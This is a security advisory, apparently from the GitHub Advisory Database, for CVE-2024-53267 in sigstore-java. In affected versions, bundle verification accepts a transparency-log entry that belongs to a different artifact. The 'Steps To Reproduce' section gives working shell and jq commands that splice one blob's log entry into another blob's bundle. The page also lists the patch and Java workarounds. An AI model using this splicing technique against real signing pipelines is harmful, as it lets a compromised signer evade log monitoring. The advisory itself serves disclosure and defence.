Medium

sigstore-java has vulnerability with bundle verification

  • Disclosed: 26.11.2024
  • Updated: 11.10.2026 12:21

Summary

sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log

Impact

This bug impacts clients using any variation of KeylessVerifier.verify()

The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.

This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.

The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.

sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.

Steps To Reproduce

Build the java sigstore-cli at v1.0.0

bash
git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1

Create two random blobs

bash
dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2

Sign each blob using the cli

bash
./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2

Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle

bash
jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json

Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.

bash
cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'

sha256sum blob1 blob2

Verify the bundle against blob1

bash
./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!

Patches

Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166

Workarounds

  1. Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);
var rekorEntry = bundle.getEntries().get(0);
var calculatedHashedRekord =
    Base64.toBase64String(
        HashedRekordRequest.newHashedRekordRequest(
                artifactDigest,
                Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),
                bundle.getMessageSignature().get().getSignature())
            .toJsonPayload()
            .getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
  throw new Exception("Provided verification materials are inconsistent with log entry");
}
  1. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
java
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) dev.sigstore:sigstore-java >= 1.0.0, < 1.1.0 1.1.0

References

CVSS score 5.5/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-345, CWE-347
Platform
Java / Kotlin (Maven)
Package
dev.sigstore:sigstore-java
Disclosed
26.11.2024
Updated
11.10.2026 12:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-q4xm-6fjc-5f6w - CC BY 4.0

Vulnerability history: dev.sigstore:sigstore-java

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
11.2024 06.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 1
  • Low 2

Disclosures per year

  1. 2024: 2
  2. 2025: 0
  3. 2026: 1
  1. Low · 2.0 CVE-2026-48791 >= 2.0.0, < 2.1.0 2.1.0
  2. sigstore-java has vulnerability with bundle verification this entry
    Medium · 5.5 CVE-2024-53267 >= 1.0.0, < 1.1.0 1.1.0

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